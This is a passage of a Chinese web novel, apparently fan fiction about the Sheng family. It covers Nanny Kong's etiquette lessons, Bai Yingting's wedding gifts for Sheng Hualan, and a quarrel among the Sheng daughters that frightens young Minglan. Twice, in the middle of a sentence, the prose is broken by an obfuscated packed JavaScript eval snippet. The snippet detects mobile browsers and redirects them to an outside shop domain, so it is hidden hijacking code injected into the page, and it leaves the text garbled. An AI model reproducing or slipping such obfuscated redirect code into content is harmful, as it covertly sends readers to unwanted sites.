盛纮为人素有心计,又得了盛老太太的教养,心胸开阔,虽说有时目光短浅,但大体方向还是不错的,他知道这官要做长久,必得耳聪目明,知己知彼,方能百战不殆,可盛瑾是实干派,对这些个权宦贵胄的复杂隐秘关系向来是不感兴趣的,再者,盛瑾想要知道什么事情就直接派盛昀等机器人去查,因而他无法从盛瑾口中得知这些个事情,好在孔嬷嬷的到来能让他从中了解一些汴州城的故事。 孔嬷嬷看在盛老太太面子上,也没拒绝盛纮的借机讨教,她在自己所知的汴州城权宦贵胄复杂隐秘的关系中挑了些干系不大的略略说了一下,经过几次谈话下来,盛纮受教不浅,几乎将孔嬷嬷当成自家长辈一般尊敬,恨不得把她留下才好,可他从盛老太太口中得知孔嬷嬷惦念故乡,待教导完家中姑娘后,便要回老家颐养天年,他不好强人所难,只好作罢,当然,他也从未在别人面前提起过这件事情。 这日,孔嬷嬷与盛老太太一同用膳时,无意提到盛瑾一有空就来接盛明兰的事情,只见她脸上浮现出一抹微笑,道:“你那儿子是真疼他的二姑娘啊!每次一得空就算准了我下课的时间,抱着你那小孙孙来找你的乖孙女。” 孔嬷嬷说到这里,不由得想起当时那画面,语气中带着些许笑意,道:“你那另外三个孙女看着他一手抱一个,当即便目瞪口呆,不过说真的,盛国公一个文官出身居然能一下子抱起两个孩子,这力气可不像是文官,倒像是武将。” 孔嬷嬷说的不是假话,盛纮最重视面子,从没有做过向盛瑾这样在人前抱孩子的事情,除了盛华兰外,他在人后也很少会抱其他孩子,因而盛华兰等人才会如此震惊。 盛老太太眉目含笑,语气柔和,道:“瑾儿虽是科举出身,但对礼、乐、射、御、书、数六艺都有涉猎,又曾被他师傅按着学了几年武艺,这力气难免比常人大些,不过,他对这两个孩子一直都是这样的,当初对轩儿也是这般,所以国公府的女使小厮们已是见怪不怪了。” 盛老太太说到这里,忍不住吐槽道:“我那孙女哪哪都好,就是那一手字,犹如小鸡爪般,她爹去接她,怕是打算抓着她去书房里练字呢。” 孔嬷嬷瞪了一眼盛老太太,语气中带着些许维护的意味,道:“你这说的什么话啊!她才九岁,握笔无力,写不好字很正常,再说了,盛国公的字在汴州城也是有名的,你家孙女得她父亲亲自教导,还用愁什么呢。” 盛老太太瞧着孔嬷嬷这般,语气中夹杂着些许笑意,道:“你啊!你,就喜欢和我对着说话,先不说他们父女两了,来说说那三个兰吧,感觉如何呢。” 孔嬷嬷微微皱着眉头,道:“你家大姑娘还好,聪明伶俐,一点就通,颇有长姐风范,但是四姑娘,看似柔弱,实则要强,非要硬撑着学,你也知道,那些个磨人的规矩原就是给大人学的,她还未长开,身量未足,许多动作根本施展不开,但她硬是逞强,光昨儿一天,她就摔坏了四个茶碗、两个碟子,布菜的时候还掉了筷子,五姑娘太随性子了,但人小好玩也无可厚非的。” 盛老太太听到这里也皱着眉头,随即叹了口气,道:“她到底受了一些林噙霜的影响,即使离开了林噙霜,但这争强好胜的性子还是没改啊!” 孔嬷嬷看着盛老太太这般,微微一笑,语气中带着些许安抚的意味,道:“孩子们都还小,你若担心,不如给你家四姑娘找个能干的人来引导她慢慢改变。” 盛老太太微微摇了摇头,道:“这件事情我不好插手,原先我那媳妇就因为林噙霜的事情,和我起了一些矛盾,现在因为瑾儿,又缓和过来了,若是我贸然出手,估计又要闹些事情了。” 孔嬷嬷对此毫不在意,语气平淡,道:“那随你吧,反正我就是给个意见罢了,你觉着可行就用,觉着可不行就当我没说过。” 孔嬷嬷眉眼弯弯,语气中带着些许赞赏的意味,道:“不过,说起来你那小孙女着实是让我大吃一惊啊!小小年纪,就有这份心思,她知道自己年纪小,有些可能听过就会忘了,也知道自己写字不快,便找了个年长些的女使坐在一旁帮着她做笔记,还教那个女使将我说过的话分门别类的记录下来。” 盛老太太闻言,眼含笑意,道:“估计是她爹爹教她这么做的,我这孙女从五岁时便被瑾儿抱在怀里读书习字,直到现在,瑾儿有时还会这般抱着她读书习字,就连安儿如今也同她过去一般被瑾儿抱在怀中启蒙。” 孔嬷嬷端起茶杯,喝了口茶,道:“看得出来,盛国公拿这两个孩子当亲生孩子般对待,你看看这丰国公府哪个明眼人看不出来呢,不过,盛国公的相貌虽然随了你那没良心的官人般俊美,可却不像他那般花心、宠妾灭妻,为着盛国公夫人守身如玉十几年,可谓是汴州城中有名的情种啊!这可比顾家的那位顾侯爷好多了。”她在说起顾偃开时眼中闪过一丝不屑,毕竟当年端淑县主难产回丰国公府的事情满城皆知,只是顾盛两家没有将矛盾挑到明面上来,汴州城中的人也不能光明正大的看戏。 盛老太太听孔嬷嬷提起顾偃开,摇了摇头,语气淡然,道:“谁知道他心里咋想的,好在婷儿早已不在乎他的心思,一心扑在自己两个儿子身上了。” 孔嬷嬷见盛老太太不愿多聊顾偃开,也没继续这个话题,她语气中带着些许调侃的意味,道:“这么快就喊婷儿了,看来这个端淑县主与你很合得来啊!你啊!峰回路转,如今也算得上是真正的儿孙满堂了。” 盛老太太闻言,脸上浮现出一抹笑容,道:“是啊!婷儿是个好孩子,可惜了,不过,还好有两个孩子在,等将来分府后,她带着自己的嫁妆和两个儿子中任何一个过日子,都能过的很好。”她说完便转移话题和孔嬷嬷聊起了往事,而孔嬷嬷也十分有眼色的随着盛老太太的话聊了起来,与此同时,她们口中的白滢婷正在宁远侯府思考着如何给盛华兰添妆的问题呢。 白滢婷心里十分清楚,她认了盛老太太做干娘,那盛老太太名义下的孙女盛华兰、盛如兰、盛墨兰也算得上是她的外甥女,可这三个外甥女加起来远没有盛明兰对她而言更重要,只因盛明兰那神似慕卿云的容貌和盛瑾嫡长女的名头,以及这些年来她是真心实意的喜欢盛明兰这个孩子的,因而在她心里盛明兰才是她最疼爱的外甥女,不过,盛华兰她们到底是她名义上的外甥女,再加上盛纮在顾廷烟出嫁前也给了她添妆,故而这添妆之事是不能免得,只是多少的问题而已。 白滢婷看着常嬷嬷,语气中带着些许忧愁的意味,道:“奶娘,华姐儿也算是我的外甥女,如今她即将成婚,我这给多少添妆合适呢?” 常嬷嬷思虑片刻,道:“县主,这我也拿不定主意,要不还是问过国公爷后,再做决定吧,不然这给多给少都是问题,毕竟后头还有两个未及笄的姑娘呢。” 白滢婷眉眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12666932|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弯弯的对着常嬷嬷调侃起盛瑾,道:“奶娘,你又不是不知道哥哥的性格,听说华姐儿是在干娘膝下长大的,倚着哥哥的性子,看在干娘的面子上,少说都得添妆上万两银子,不过,我一时也拿不准哥哥是怎么想的,毕竟哥哥先前已经同盛纮三哥商量好,按照丰国公府姑娘哥儿们嫁娶的份额给他的子女们置办一份嫁妆或聘礼。” 常嬷嬷对于盛瑾直接给盛纮的子女们置办一份嫁妆或聘礼的事情没有什么惊讶的,毕竟当初盛瑾和慕卿云给白滢婷置办的嫁妆极其丰厚,她语气中带着些许笑意,道:“虽说国公爷已经让府中中馈出了一份,但大抵还是会以他和国公夫人的名义私底下再添些的,不过,县主自是不能同国公爷一样给这么多的,虽说盛大人的大姑娘(盛华兰)是在盛老太太膝下养大,但论亲疏,自是国公爷的子嗣与县主亲的,想来国公爷和盛老太太也不会要求县主将盛大人的大姑娘和国公爷的二姑娘(盛明兰)放在一个位置上,就如同国公爷不可能按照当初给县主备的嫁妆,再来给盛大人的大姑娘来一份。” 常嬷嬷作为白滢婷最亲近的人,大概能猜出盛瑾和慕卿云给白滢婷备了多少嫁妆,世人皆说,盛国公夫妇给端淑县主备了一份极其丰厚的嫁妆,却不知盛国公夫妇私底下还塞了不少银钱给自家姑娘,当初顾家拿走白滢婷的嫁妆银子填补自家在朝廷亏空时,并不知道白滢婷手上还有至少二十万两银票,不过也还好顾家不知道白滢婷手里还有这笔嫁妆银子,就是靠着这笔银钱,使得白滢婷度过了在顾家最艰难的日子,让白滢婷挺到了她的田庄铺子收益回来时,要不然,当初白滢婷就该卖田庄铺子换取银钱了,毕竟白滢婷当初刚嫁进顾家,少不得要多花些银钱打点顾家上下,她是看着白滢婷长大的,自是知道自家姑娘看上去温和柔顺,实着骨子里是最倔强的,白滢婷不愿让外人看她的笑话。 白滢婷露出犹如未出嫁时的俏皮笑容,道:“那我写信派人送去丰国公府给哥哥,问一下哥哥他给了多少,再让他给我出主意应该给多少。”她决定参考一下盛瑾的意见再做决定。 常嬷嬷微笑的点了点头表示赞同,随即不知想到了什么,微微皱眉,道:“县主,莲儿说前天四老爷去账房想支取三千两银子,这笔银钱数额有些大,账房管事的不敢给四老爷支取,被四老爷打骂了一顿。” 白滢婷揉了揉额头,语气中带着些许疲惫,道:“这一天天的有安生日子不过,非要闹出点事情来才痛快嘛,不过,四弟妹也可怜,跟了四弟这个喜欢流连烟花场所的风流之人,一年五千两都不够他一个人使得嘛,可别是拿着银钱去闹什么幺蛾子出来,你让莲儿将这件事情告知侯爷,让他去处理吧,另外,你让莲儿再亲自给那个挨打的账房管事送去五两银子,让他好好养伤,这件事情他无错。” 白滢婷眼中闪过一丝忧愁,道:“对了,奶娘你亲自去告诉四弟妹这件事情,让四弟妹去打听一下四弟到底要三千两去做什么,没得是花钱从哪个秦楼楚馆弄出个女子进门,那这日子可有够精彩的了。” 常嬷嬷瞧着白滢婷处理事务时波澜不惊的样子,突然感觉当初那个娇羞的小姑娘已然成了处事不惊的当家主母,她心里既骄傲又心疼,这成长的代价对于白滢婷而言,着实是有些承重,她微微一笑,道:“县主,心中有数便好。” 白滢婷休息片刻便派人送信去了丰国公府,第二日便收到了盛瑾的回信,她看完信件后,又将信件交给了常嬷嬷。 常嬷嬷快速扫描完信上的内容后,不禁感慨盛老太太深明大义啊!她原先还担心盛老太太心里会因着盛瑾给侄子侄女的聘礼和嫁妆加起来都没有当初给白滢婷的多而生出不满之心,没曾想盛老太太竟然如此豁达。 白滢婷看着常嬷嬷,面带微笑,道:“哥哥定下规矩,以他和嫂嫂的名义给每个侄女贴补七千两银子,不过,华姐儿即是在干娘膝下养大的,又在他府中待了一年多,平日对他多有恭谨,为人乖乖巧巧的,便额外贴补了三万两银子、五件首饰、一间汴州城内的铺子、三匹缂丝、三份分配红利的契劵、两只千年人参、三十匹锦缎,哥哥的意思是我不必照着他的来,直接每人给三千两银子就行了。” 常嬷嬷面带得体的微笑,道:“国公爷这是在给县主省钱啊!谁家直接贴补银钱的,虽说三千两不少了,但那也是要分人家的,再说了,县主还未见过另外两个姑娘呢,此番上门少不得要给那两个姑娘见面礼。” 白滢婷手握扇子,扇了扇风,沉思片刻,道:“奶娘,我见过华姐儿不少次,瞧着着实是不错,又是干娘养大的,跟后头的那两个自是不一样,这样吧,你去我的库房看看,我记得那里还有不少玉石珠宝和金子,你去取一些成色上好的玉石珠宝和金子送去珠翠楼,让她们打十一二件首饰钗环,对了,先前我让玉匠雕了四个白玉兰花坠,华姐儿和明姐儿都有了,如今剩余两个正好送给那两个姑娘,另外我记得宫里上次给我送来的东西中有几匹织锦缎,你也一并取来吧。” 常嬷嬷知道那四个白玉兰花坠是白滢婷特意找玉匠雕刻出来的,为的就是给盛家这些个姑娘当见面礼,当时,白滢婷将白玉兰花坠送给盛明兰和盛华兰后回来时,她还调侃白滢婷,道:“县主可真是疼爱二姑娘啊!回回都记得给她带东西。” 那时的白滢婷扇着手中的扇子,游刃有余的回怼,道:“即是要送给她们姐妹的,那自是要一样的物件才好,明儿也是她们的妹妹,她们有的,明儿也不好没有吧。” 白滢婷没注意的常嬷嬷在想些什么,继续道:“对了,奶娘,我记得我的库房中有不少文房四宝,你去各取两份,这盛纮三哥有两个哥儿如今也读书习字,这两份文房四宝刚好能送出手去。” 常嬷嬷回过神来,微微一笑,道:“是,县主,奴婢都记下了,还有什么要添的嘛,您一并吩咐过来。” 白滢婷思虑再三觉着没什么可加后,便让常嬷嬷下去办事情,而常嬷嬷带着莲儿等人快速将白滢婷吩咐的事情尽数办妥了。 74.第 74 章 清晨,盛华兰、盛明兰、盛墨兰、盛如兰如往常一般在院子里学习礼仪规矩,虽说她们四人通过半个月的学习受益匪浅,可随着孔嬷嬷课堂的深入,除了盛华兰外的三人学得越发的吃力了,不过,盛如兰和盛明兰对此倒没什么执念,毕竟前者是被迫学习,自然随波逐流,后者本就是来培养姐妹之情的,这些个礼仪规矩的学习倒是次要的,只有盛墨兰对此十分在意。 盛墨兰瞧着自己的学习速度越发跟不上盛华兰,心里暗暗焦急,不过,这也是正常现象,毕竟小学生与高中生之间的接受程度、理解能力都不同,可偏偏盛墨兰看似柔弱,实则要强,为了学会这些知识,一直缠着孔嬷嬷问这问那的,反倒是将盛华兰这个重点教导对象挤到了一旁,甚至盛华兰有时候明明可以学习下一部分内容,孔嬷嬷却因着要解答盛墨兰的疑惑只好放慢进度,由此姐妹间的矛盾直线上升。 盛华兰忍了又忍,实在是忍无可忍时,便回去向王若弗提了一句,而盛如兰早就将这件事情看在眼中,都不知道向王若弗告过多少次状了,可王若弗即使气到要爆炸也毫无办法,毕竟她曾尝试在盛纮那告过盛墨兰的状,不过,盛纮心里偏袒盛墨兰,每次都拿“墨儿也是好学,姐妹之间自当亲和”之类的废话来应付她,她一个当家主母也不能和孩子计较,只能暗生闷气了。 王若弗没有法子,只能任由盛墨兰这般有恃无恐的干下去,不过,有句话说的好,“不在沉默中爆发就在沉默中变态。”随了王若弗性子的盛如兰为着盛华兰爆发了,待到下午,天气有些干燥,孔嬷嬷刚讲完一段,只觉得喉咙有些干燥难耐,便让盛华兰她们练习给长辈安泰后,自个回里屋去用几勺茯苓膏润润喉咙。 等孔嬷嬷离开屋内不久,盛如兰看着盛墨兰娇喘吁吁的坐到锦杌上歇息,不知道是天气原因,还是她想到盛华兰因着盛墨兰拖迟的进度,又或是王若弗在她身边叨咕盛纮不管这件事的原因,此时的她不禁觉着盛墨兰分外碍眼。 盛如兰先前在心里憋的一阵阵气,瞬间喷涌而出,只见她脸上浮现出一抹冷笑,道:“四姐姐这般卖力学习礼仪规矩,可真是好学啊!不过,按理来说,四姐姐将来用到这些规矩的地方不多,如今四姐姐这般用心,好似将来一定用的上一般,须知不是谁都能高嫁的,莫要白费了心思才好。” 盛如兰的话将盛墨兰的遮羞布撤了下来,可盛墨兰又不能直接和盛如兰硬碰硬,只能茶里茶气道:“孔嬷嬷说了,这些虽是虚礼,但宁可学着不用,也不能不会被人笑话了去,姐姐愚笨,又怕将来丢了家里的脸,索性多卖些力气。” 盛如兰眼中闪过一丝嘲讽,语气微微上扬,道:“四姐姐竟然知道自己愚笨,那便应该识相些,别一天到晚的缠着孔嬷嬷,反倒拖累了大姐姐,大姐姐再过不久可要嫁入伯爵府了,况且孔嬷嬷再过一段时间就要走了,大姐姐再不学完就来不及了。” 盛墨兰脸上浮现出一阵惶恐的神情,也不知道是装的,还是真被盛如兰吓到了,语气中满是争辩的意味,道:“五妹妹可是冤枉了我,我如何是缠着孔嬷嬷,不过是按照着父亲的吩咐来的,父亲要我好好跟孔嬷嬷学,回头他要考我,我不敢不从,不懂的地方自得问清才是。” 盛如兰鼻孔里哼出一股气来,眼神轻蔑的看着盛墨兰,道:“你少在这里拿父亲压我,府中谁不知道孔嬷嬷是祖母特意为大姐姐请来的,大姐姐才是她的正经学生,连明兰妹妹都不过是来旁听的,教我们那,不过是捎带上的,你天天在这里抢大姐姐这个正经学生的学习时间,碍着大姐姐好好请教孔嬷嬷,难不成还有理了?!哼,真不知跟谁学的下作手段,见着别人的好,就喜欢抢别人的!”在场的人,除了盛明兰和府中原本的丫鬟外,谁都知道盛如兰是在暗示林噙霜。 盛墨兰一听盛如兰这么说,脸一下子就涨红了,泪珠迅速在眼眶里蓄起来,颤声道:“五妹妹说的是什么话啊!我全然不知道是什么意思,什么下作手段?什么抢别人的?都是一个爹生的,不过欺我是庶出的罢了!好好好,我原是个多余的,何苦留在这世上碍人眼睛,不如死了干净!”她说完便伏案大哭起来,好似受了什么天大的委屈,那演技看得一旁的盛明兰及其丫鬟们目瞪口呆。 盛如兰看到盛墨兰哭,顿时就急了,冲到盛墨兰面前,大声道:“哭,哭,你又哭!回回有事你便掉那宛如金豆子般大小的眼泪来装相,叫孔嬷嬷瞧见了,又说是我欺负你,好叫父亲罚我!你,你,你……” 盛如兰又气又急的跺着脚,一时想不出什么话来骂盛墨兰,可又不想将这口气咽下去,脑子里突然闪过林噙霜的身影,语出惊人道:“回回遇事,你便哭的跟死了亲娘一般,我可怕了你了,跟你那个亲生小娘林噙霜一个样子。” 盛墨兰听到林噙霜三个字时,便想起自己那三四年未见过面的亲生小娘,顿觉一股悲伤袭来,原本的假哭也变成了真哭。 盛如兰看着盛墨兰相较于先前而言哭得更加伤心,且越哭越厉害,渐渐有些喘不上气来,身体一抽一抽的,顿时有些不知所措的站在原地。 盛华兰一听到盛如兰提起“林噙霜”三个字就吓了一跳,这三个字现在是整个盛家的禁忌,谁不知道当年林噙霜企图污蔑盛瑾和卫如意有染,被盛纮送到了上庄子关起来,估计这辈子都别想回到盛家了。 盛纮本就是个极其在意脸面和盛家地位的人,就算他将林噙霜接到汴州城的庄子上,也不敢让人出现在汴州城内,毕竟他怕有人瞧着林噙霜而想起先前在扬州城的事情,若是再传到汴州城中,无论是“兄长和弟弟的小妾有染”这顶绿帽子,还是纵容小妾污蔑损伤兄长清誉的不敬嫡兄之罪都能让他的仕途戛然而止,更何况这不仅会让他颜面扫地,还会损害他们这一脉乃至盛家的名声。 盛华兰脸上浮现出一丝恼怒,她走到盛如兰身边,眼神中带着些许责备,低声道:“谁让你提起林小娘啊!这回父亲要发怒了。” 盛如兰看着趴在桌子上哭得宛如亲娘去世般的盛墨兰,脸上浮现出些许懊悔的神情,跺了跺脚,道:“我一时生气忘了。” 盛明兰在一旁看了一出好戏,她瞧着盛墨兰哭成这样,心里想着父亲祖母说过姐妹之间应该好好相处,再者,若是任由盛墨兰哭下去,待孔嬷嬷回来看到了也不好,只见她抓了抓自己的小脑袋,像是下定了什么决心似的,离开自己的位置来到盛墨兰身边,轻声细语,道:“墨兰姐姐,你别哭了,让孔嬷嬷瞧见了可不好,她还以为我们盛家女儿无家教呢,况且若是堂叔父知道了,也是要罚你们的。” 盛明兰瞧着盛墨兰没有听进她的话,仍一意孤行的趴在桌子上哭,她思考了一下,斟酌用词,继续道:“再说了,孔嬷嬷过段时间就要走了,我知道墨兰姐姐不是故意拖累华兰姐姐的学习进程,你只是想让孔嬷嬷多指点一二,可是你这样,孔嬷嬷也教不了多少啊!不如墨兰姐姐委屈些,跟我一样,先囫囵记下孔嬷嬷教的东西,回头得空了,再慢慢自己琢磨,或是你有不懂的地方可以写下来给我,我可以拿去问陈嬷嬷和苏嬷嬷,然后回来告诉墨兰姐姐,这样既不伤了姐妹和气,又能多学些东西,不是很好吗?” 谁知盛明兰不劝还好,这一劝,盛墨兰突然抓住盛明兰的手,一边哭,一边说道:“明兰妹妹,你去求求二伯父吧,让他去找我父亲,将我小娘带回来吧,我已经有三四年没有见过我小娘了,二伯父平日里最疼你了,你是他的亲生女儿,你去求他,他一定会同意的。” 盛明兰被盛墨兰这一出给吓到了,挣扎的要离开盛墨兰,可盛墨兰并不理会她的挣扎,一边死死地抓着盛明兰的手,一边继续哭泣,哭的声嘶力竭,好似非把事情弄大一般,不,在盛华兰看来事情已经闹大了。 盛华兰一下子冲上去,一把扯开盛墨兰抓着盛明兰的手,将盛明兰从盛墨兰手中夺出来,她看着盛明兰被盛墨兰吓的一脸惨白,外加盛墨兰在盛明兰手上留下的红印,心里不由得噗通了一声,暗道:“完了,明儿可是二伯父的心头肉啊!” 盛华兰急忙抱着盛明兰,拍了拍盛明兰的背,语气柔和的安抚道:“明儿不怕啊!你墨兰姐姐胡说的,她都哭糊涂了,不怕不怕啊!” 一旁的盛如兰早被盛墨兰这一出给吓到了,待回过神来后,便对着盛墨兰破口大骂,道:“你抓明兰妹妹做什么,她知道什么啊!你等着,我要告诉父亲和二伯父,你等着被父亲收拾吧。” 盛墨兰睁着红通通的眼睛看着盛华兰怀中被吓的面色惨白的盛明兰,眼中闪过一丝害怕,她在丰国公府待了也有半个多月,自是知道盛瑾有多疼盛明兰这个女儿,当时脑子一抽造成了现在这个局面,她也不知道如何收拾了。 屋里的动静早就有人去告诉孔嬷嬷了,此时,只听到身后的帘声响动,孔嬷嬷一脸寒霜由着随身的小丫鬟扶着回来,她冷眼瞧着屋内的情景,待看到盛华兰怀中的盛明兰一脸惨白样,心一下子沉了下去,她对着身边的丫鬟,冷声道:“去,让门口的丫鬟们候着,莫要让其他丫鬟进来,另外告知大娘子,待国公爷和二老爷回府后,劳烦他们前来一趟。” 盛墨兰和盛如兰瞧着孔嬷嬷这般,脑海中只有一个念头,那就是完了,而盛华兰此时心里也忍不住打寒颤,道:“这件事情算是被如儿和墨兰闹大了。” 孔嬷嬷对着另一个丫鬟道:“去,把二姑娘带过来。”她身边的那个丫鬟自是知道她说的是盛明兰。 那位丫鬟来到盛华兰身边,行了一礼后,轻声细语,道:“大姑娘,请让二姑娘随我一同走吧。” 盛华兰闻言,拍了拍盛明兰的背以示安抚后,便松开了盛明兰,让盛明兰跟着那个丫鬟回到了孔嬷嬷的身边。 孔嬷嬷冷笑连连的扫了一眼前面的三个女孩,目光瞬间锐利起来,肃杀寒冬般的视线扫过她们,三个女孩不禁都缩了缩,不自觉的安静起来,老实的恭立一旁,心下都有些惴惴的,尤其是盛墨兰和盛如兰,今天的事情是她们挑起来的。 屋里一时间只听见盛墨兰微微的抽泣声,起初她还有些心虚的小声哭泣,可过了一会儿,她瞧着没什么动静,胆子便大了些,一边拿帕子哭的梨花带雨,一边偷眼去看孔嬷嬷。 盛墨兰害怕孔嬷嬷来问她发生了什么,可她心里又委屈,想让孔嬷嬷问,谁知孔嬷嬷根本没理她,更是一句话也没说,径直坐在正座上,叫小丫鬟端来三副笔墨纸砚和三本《女则》,一一摊摆在三个女孩面前,冷声道:“每人五十遍,抄不完以后也不用来学了。” 盛如兰和盛墨兰带着满脸不服气的表情看向孔嬷嬷,可坚持不到一秒就被孔嬷嬷威严悍烈的目光给瞪了回来,只能讪讪的缩了回去,而盛华兰咬了咬嘴唇,提起笔就抄了起来,盛如兰见长姐都抄了,便也提笔抄了起来,只有盛墨兰有些不敢置信的看了看孔嬷嬷,眼泪也不流了,呆呆站在原地,不过,她看到孔嬷嬷看都不看她们几个,自顾自的拿起一卷佛经看了起来,最终还是无奈抄写起来。 盛华兰一行人从下午抄到了黄昏,盛瑾和盛纮回到家中得知消息后,脱了朝服就往这边赶,随行的还有早就等得焦急的王若弗,待他们一进门,便瞧见坐在孔嬷嬷旁边的盛明兰,虽然时间已经过了许久,但依稀能从盛明兰微红的眼眶和惨白的脸色中看出她被吓得不轻。 盛瑾瞧着盛明兰这般,心疼得不行,待对着孔嬷嬷行了一礼后,便大步向前抱起盛明兰,轻声安抚道:“明儿不怕啊!爹爹在这。”这样的动作着实让收到惊吓的盛明兰得到了不少安心。 盛纮和王若弗瞧着盛明兰这般,又看到自家三个女儿在一旁抄字,瞬间心里咯噔了一下,这盛明兰分明是被人欺负了。 王若弗对于盛华兰一向是放心的,可对盛如兰却拿不定主意,此时她的内心不由得暗暗祈祷道:“千万别是如儿欺负明姐儿啊!” 盛纮满脸歉然的看着孔嬷嬷和盛瑾,又对着盛华兰三人低沉呵斥道:“孽障,自己闯了什么祸,还不说来?!” 王若弗焦急的看着两个女儿,虽然她对这件事情有些许的了解,但此时也不好开口说什么,毕竟刘妈妈早就告诫过她,这件事情是她们这房姑娘们惹出来的,还殃及到了盛明兰,若是她开口说不好会得罪盛纮或盛瑾其中一人,因而最好的方法就是交由盛纮和孔嬷嬷来处理。 盛纮瞥见自家兄长面无表情的样子,只觉得自己背后冒着冷汗,他现下必须先了解事情的经过,方才能做出决定,不然,盛瑾这关可不好过,可一旁的三个女孩谁也不敢吭声。 孔嬷嬷见众人都到齐了,随即挥了挥手,紧接着她身边四个小丫鬟便训练有素、整齐利落的行动起来,两个出去把外头的丫鬟婆子隔出几米远,两个把房间里的门窗都关好,只留下几个心腹丫鬟婆子贴身服侍,待一切布置妥当后,孔嬷嬷才朝着盛纮、盛瑾、王若弗三人,行了一礼,道:“今日叨扰大家了,原本这事也无需惊动着这许多人,可既然老太太将姑娘们托付给我教导,我也不敢绥委延误,这才惊扰国公爷和盛大人、大娘子。” 盛纮立刻拱手道:“孔嬷嬷有话请说,定是这几个孽障不省事,欺负幼妹,惹了孔嬷嬷生气。”他说着又瞪了眼盛华兰她们三人,三个女孩缩在一边不敢说话。 盛纮随即又将目光放在盛瑾怀中的盛明兰身上,神情柔和,轻声道:“明姐儿别怕啊!叔父一定给你一个交代。” 孔嬷嬷和煦的摇了摇头,轻声道:“说不上生气,只是姑娘们大了,有些是非却得辨一辨。” 孔嬷嬷说完便请盛纮等人入座,盛瑾让盛明兰坐在他的大腿上,待众人都入座后,她才缓缓开口,道:“想必在来的路上已经有嘴快的将今天下午争吵之事告知了三位,不过,为着让三位了解事情的来龙去脉,我还是让烟儿将今天下午的事情原原本本说上一回给三位听听。” 孔嬷嬷说完,身后走出个小丫鬟,这个小丫鬟走到中间,对着盛瑾一行人行了个礼,便把下午的吵架事件清楚的复述了一遍。 这丫鬟年纪虽小,却口齿伶俐,声音脆亮,将今天发生的事情一字不差的说了出来,连四个女孩说过的话都一一转述,一字未减一字未加,盛华兰、盛墨兰、盛如兰听得脸红都羞愧,不声不响的保持沉默。 盛纮和王若弗听到盛如兰提起林噙霜,并抓着盛明兰的手哭求时,心里一阵害怕啊!林噙霜是因为什么被送走关起来的,他们心知肚明,尤其是盛纮还钻空子打算将林噙霜接到汴州城外的庄子上住,他有些心虚的转头看了一下盛瑾,果然,盛瑾的脸黑得难看。 等盛纮听完后,他大力拍着桌子,以掩饰心虚的怒喝道:“你们几个孽障,还不跪下!尤其是你墨兰,你堂妹才多大,你居然这样对她,你读书都读进狗肚子里了嘛。” 盛华兰三人见盛纮一个读书人都被气的爆粗口,吓得想要连忙起身到盛纮面前跪下,此时,孔嬷嬷出声道:“姑娘们的膝盖金贵,别伤着。” 盛华兰三人松了口气,还以为逃过一劫,谁知孔嬷嬷叫丫鬟拿出三个锦缎厚绒的蒲团并排放在地上,然后,点了点下颚,示意现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12666933|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在可以跪了,女孩们只得一字排开跪下。 盛纮把桌子拍的啪啪响,吼声几乎震动屋顶,指着下首跪着的盛华兰、盛墨兰、盛如兰,道:“孽障,孽障,你们如此不知礼数,胡言乱语,与那粗俗村姑何异,有何脸面做盛家后人,如若你们是儿子,将来还不得为了争夺家产,打个头破血流,岂不是兄弟阋墙之祸,罢罢罢,不如现下打死了了事!”他说着便要去取家法。 王若弗原想要求情,可看着盛纮满脸怒气的神情,又看到一旁黑着脸的盛瑾,他家姑娘可是无荒之灾啊!绞着帕子不敢开口,只能用眼神求孔嬷嬷。 孔嬷嬷面带微笑的摆了摆手,道:“盛大人不必动气,一味处罚也不好,总要让她们知道自己的错处吧,我即为四个姑娘的教养嬷嬷,托大些说,也算半个师傅,不如让我来教导并处罚她们吧。” 盛紘起初只是想要罚盛华兰三人一顿让盛瑾消气,可谁知他越说越觉得自己说的有道理,将自己说得气急败坏到有些失态了。 盛纮脸上略带些许歉意的表情对着孔嬷嬷,道:“嬷嬷涵养学问都是一流的,当初便是宫中的贵人您也是问得训得,何况这几个孽障,嬷嬷但问无妨,只是明儿就算了,这明儿是被欺负了的,就不用了吧。” 孔嬷嬷闻言看向盛瑾,盛瑾也知道若是孔嬷嬷只说盛华兰三人,不说盛明兰,大抵会影响她们之间的姐妹之情,因而他黑着脸,微微点了点头,冷声道:“嬷嬷是姑娘们的教养嬷嬷,自是说的罚得她们的。” 孔嬷嬷听到盛瑾的话,心里也有了定心丸,她随即来到盛华兰面前,道:“大姑娘你今天最大的错误就是没有阻止姐妹们吵架,你是盛大人的嫡长女,原就比两位妹妹更体面些,盛大人、大娘子、老太太是最宠爱你,日头长了,便养出了你的傲气,你这些日子一直忍着,心里憋着火,所以冷眼看着姐妹争吵。” 孔嬷嬷神情严肃的看着盛华兰,继续道:“大姑娘我说几句不中听的,女儿虽是娇客,但那是在家当姑娘时千娇万宠,一旦做了人家媳妇,那可立时掉了个个,在婆家时,上下哪一个都不能轻易得罪了,你得恭敬侍候公婆、小心体贴夫婿、对妯娌小姑得殷勤赔笑,哪个做得不好,便都是你的错,如今你连阻止姐妹间的争吵都做不到,谈何以后呢,四姑娘和五姑娘争吵,你当大姐姐的应当想出个妥帖的法子来阻止,这样既让妹妹知道错处,又不伤了姐妹和气才是。” 